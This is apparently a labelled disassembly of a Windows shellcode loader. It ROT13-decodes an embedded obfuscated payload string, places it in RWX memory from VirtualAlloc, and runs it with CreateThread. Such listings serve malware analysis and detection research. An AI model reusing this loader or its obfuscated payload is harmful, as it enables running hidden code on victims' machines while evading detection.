Function at 0x401460
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x498
call sym.___main
lea eax, [ebp - 0x479]
mov ebx, str.kq9krok9okq9k74k24ks4k31kq2ko2k77k31kp9k64k8ok71k30k8ok76k0pk8ok76k1pk8ok46k08k8ok7rk20k8ok36k38k4sk18k75ks3k59k01kq1ksskr1k60k8ok6pk24k24k8ok45k3pk8ok54k28k78k01krnk8ok4nk18k8ok5nk20k01krokr3k34k49k8ok34k8ok01krrk31kssk31kp0kspknpk84kp0k74k07kp1kpsk0qk01kp7kroks4k3ok7pk24k28k75kr1k8ok5nk24k01krok66k8ok0pk4ok8ok5nk1pk01krok8ok04k8ok01kr8k89k44k24k1pk61kp3ko2k08k29kq4k89kr5k89kp2k68k8rk4rk0rkrpk52kr8k9skssksskssk89k45k04kook7rkq8kr2k73k87k1pk24k52kr8k8rkssksskssk89k45k08k68k6pk6pk20k41k68k33k32k2rk64k68k75k73k65k72k30kqok88k5pk24k0nk89kr6k56kssk55k04k89kp2k50kookn8kn2k4qkopk87k1pk24k52kr8k5skssksskssk68k6rk58k20k20k68k6pk4sk53k65k68k53k68k65k6pk31kqok88k5pk24k09k89kr3k68k72k58k20k20k68k65k63k74k75k68k53k65k6rk4nk68k20k42k79k20k68k63k74k65k64k68k49k6rk6nk65k31kp9k88k4pk24k15k89kr1k31kq2k52k53k51k52ksskq0k31kp0k50kssk55k08
mov edx, 0x455
mov ecx, dword [ebx]
mov dword [eax], ecx
mov ecx, dword [ebx + edx - 4]
mov dword [eax + edx - 4], ecx
lea edi, [eax + 4]
and edi, 0xfffffffc
sub eax, edi
sub ebx, eax
add edx, eax
and edx, 0xfffffffc
mov eax, edx
shr eax, 2
mov esi, ebx
mov ecx, eax
rep movsd dword es:[edi], dword [esi]
mov dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0x453
ja 0x4015c5
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x60
jle 0x4014f2
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x7a
jle 0x401526
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x40
jle 0x4015bc
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x5a
jg 0x4015bc
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x60
jle 0x401552
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x6d
jle 0x40157e
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x40
jle 0x40159e
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
movzx eax, al
cmp eax, 0x4d
jg 0x40159e
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
lea edx, [eax + 0xd]
lea ecx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov byte [eax], dl
jmp 0x4015bc
lea edx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, edx
movzx eax, byte [eax]
lea edx, [eax - 0xd]
lea ecx, [ebp - 0x479]
mov eax, dword [ebp - 0x1c]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x1c], 1
jmp 0x4014b9
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x3000
mov dword [esp + 4], 0x455
mov dword [esp], 0
call sym._VirtualAlloc_16
sub esp, 0x10
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x401614
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_allocate_memory:__d_n
call sym._printf
mov eax, 1
jmp 0x40170d
mov eax, dword [ebp - 0x20]
mov dword [esp + 4], eax
mov dword [esp], str.Memory_successfully_allocated_at_address_0x_p_n
call sym._printf
mov eax, dword [ebp - 0x20]
mov edx, eax
lea eax, [ebp - 0x479]
mov ecx, 0x455
mov ebx, dword [eax]
mov dword [edx], ebx
mov ebx, dword [eax + ecx - 4]
mov dword [edx + ecx - 4], ebx
lea ebx, [edx + 4]
and ebx, 0xfffffffc
sub edx, ebx
sub eax, edx
add ecx, edx
and ecx, 0xfffffffc
shr ecx, 2
mov edx, ecx
mov edi, ebx
mov esi, eax
mov ecx, edx
rep movsd dword es:[edi], dword [esi]
mov dword [esp], str.Shellcode_written_to_allocated_memory.__SUCCESS_
call sym._puts
mov eax, dword [ebp - 0x20]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0
call sym._CreateThread_24
sub esp, 0x18
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0
jne 0x4016c6
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Failed_to_create_thread._Error:__d_n
call sym._printf
mov eax, 1
jmp 0x40170d
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x24]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp + 8], 0x8000
mov dword [esp + 4], 0
mov eax, dword [ebp - 0x20]
mov dword [esp], eax
call sym._VirtualFree_12
sub esp, 0xc
mov eax, 0
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret